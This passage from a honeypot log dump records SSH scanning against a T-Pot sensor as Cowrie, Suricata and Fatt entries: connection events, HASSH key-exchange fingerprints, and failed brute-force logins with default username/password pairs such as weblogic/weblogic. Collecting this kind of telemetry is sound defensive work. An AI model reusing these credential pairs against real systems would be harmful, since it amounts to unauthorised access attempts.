"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36032, "dest_port": 22, "timestamp": "2021-09-20T11:11:21.121249", "@timestamp": "2021-09-20T11:11:21.121Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26303	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:21.871364+03	2021-09-20 14:15:13.096644+03	{"_id": "pQbnAnwBvYTbRNuEQh4V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "1b5bc737f66b", "@version": "1", "duration": 4.317992687225342, "timestamp": "2021-09-20T11:11:21.871364Z", "@timestamp": "2021-09-20T11:11:21.871Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26304	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:11:23.09718+03	2021-09-20 14:15:13.097645+03	{"_id": "qQbnAnwBvYTbRNuERB5H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:11:22.546930+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1696211104585842, "payload": "AAADzAYUB0rhf+F+qlwq6+ND+/qCzQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57882, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:11:23.097180Z", "@timestamp": "2021-09-20T11:11:23.097Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......J...~.\\\\*..C.......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
26305	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:22.824538+03	2021-09-20 14:15:13.098644+03	{"_id": "rAbnAnwBvYTbRNuERR5m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "223.241.247.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57882, "timestamp": "2021-09-20T11:11:22.824538", "@timestamp": "2021-09-20T11:11:22.824Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26306	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:11:22.82107+03	2021-09-20 14:15:13.100643+03	{"_id": "sgbnAnwBvYTbRNuERR7_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 223.241.247.214:57882 (192.168.176.2:22) [session: da69a67ec34a]", "session": "da69a67ec34a", "@version": "1", "protocol": "ssh", "src_port": 57882, "dest_port": 22, "timestamp": "2021-09-20T11:11:22.821070Z", "@timestamp": "2021-09-20T11:11:22.821Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26307	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:22.71769+03	2021-09-20 14:15:13.101646+03	{"_id": "sQbnAnwBvYTbRNuERR7_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 10 seconds", "session": "cde95387c075", "@version": "1", "duration": 10.165867328643799, "timestamp": "2021-09-20T11:11:22.717690Z", "@timestamp": "2021-09-20T11:11:22.717Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26308	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:23.590077+03	2021-09-20 14:15:13.102646+03	{"_id": "tgbnAnwBvYTbRNuESR7o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "eb6ca172d9f6", "@version": "1", "duration": 2.872706174850464, "timestamp": "2021-09-20T11:11:23.590077Z", "@timestamp": "2021-09-20T11:11:23.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26309	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:24.212981+03	2021-09-20 14:15:13.103646+03	{"_id": "uAbnAnwBvYTbRNuESR7o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [weblogic/weblogic] failed", "session": "a48fc538d843", "@version": "1", "password": "weblogic", "username": "weblogic", "timestamp": "2021-09-20T11:11:24.212981Z", "@timestamp": "2021-09-20T11:11:24.212Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26310	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:25.214344+03	2021-09-20 14:15:13.105645+03	{"_id": "uwbnAnwBvYTbRNuETR7R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:56846 (192.168.176.2:22) [session: 1b5d2c28b624]", "session": "1b5d2c28b624", "@version": "1", "protocol": "ssh", "src_port": 56846, "dest_port": 22, "timestamp": "2021-09-20T11:11:25.214344Z", "@timestamp": "2021-09-20T11:11:25.214Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26311	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:24.896839+03	2021-09-20 14:15:13.106645+03	{"_id": "wgbnAnwBvYTbRNuETR7R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [lisa/lisa] failed", "session": "bfa468d5f9d5", "@version": "1", "password": "lisa", "username": "lisa", "timestamp": "2021-09-20T11:11:24.896839Z", "@timestamp": "2021-09-20T11:11:24.896Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26314	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:11:21.040253+03	2021-09-20 14:15:13.109646+03	{"_id": "iwbnAnwBvYTbRNuEPB51", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 78395708299298, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36032, "dest_port": 22, "timestamp": "2021-09-20T11:11:21.040253Z", "@timestamp": "2021-09-20T11:11:21.040Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26315	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:20.701451+03	2021-09-20 14:15:13.110645+03	{"_id": "jAbnAnwBvYTbRNuEPR6V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35766, "timestamp": "2021-09-20T11:11:20.701451", "@timestamp": "2021-09-20T11:11:20.701Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26316	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:11:21.050502+03	2021-09-20 14:15:13.112647+03	{"_id": "jQbnAnwBvYTbRNuEPR6V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38512, "dest_port": 22, "timestamp": "2021-09-20T11:11:21.050502", "@timestamp": "2021-09-20T11:11:21.050Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26317	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:22.312074+03	2021-09-20 14:15:13.113646+03	{"_id": "pwbnAnwBvYTbRNuEQh4V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [uk/uk] failed", "session": "eb6ca172d9f6", "@version": "1", "password": "uk", "username": "uk", "timestamp": "2021-09-20T11:11:22.312074Z", "@timestamp": "2021-09-20T11:11:22.312Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26318	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:11:23.096525+03	2021-09-20 14:15:13.114645+03	{"_id": "qAbnAnwBvYTbRNuERB5H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", 